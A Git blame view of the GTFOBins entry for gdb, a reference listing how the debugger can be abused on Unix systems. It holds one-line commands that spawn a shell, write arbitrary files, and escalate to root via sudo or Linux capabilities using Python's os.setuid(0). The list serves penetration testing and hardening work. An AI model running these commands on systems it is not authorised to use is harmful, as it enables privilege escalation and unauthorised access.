GTFOBins.github.io/_gtfobins/gdb.md

19 lines
689 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
2018-05-28 21:50:01 +02:00
description: |
2018-09-06 19:18:22 +02:00
GDB may come with embedded Python support, in that case arbitrary code can be executed with the `python` command in the context of the GDB process.
2018-05-28 21:50:01 +02:00
2018-09-06 19:18:22 +02:00
See the entries of Python [version 2](/gtfobins/python2/) and [version 3](/gtfobins/python3/).
2018-05-21 21:14:41 +02:00
functions:
2018-05-25 15:30:02 +02:00
execute-interactive:
2018-07-16 15:01:50 +02:00
- code: gdb -nx -ex '!sh' -ex quit
2018-05-28 21:24:15 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_write
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- code: sudo gdb -nx -ex '!sh' -ex quit
2018-09-13 14:44:59 +02:00
capabilities-enabled:
- description: Only if it has been compiled with Python support.
code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
2018-05-21 21:14:41 +02:00
---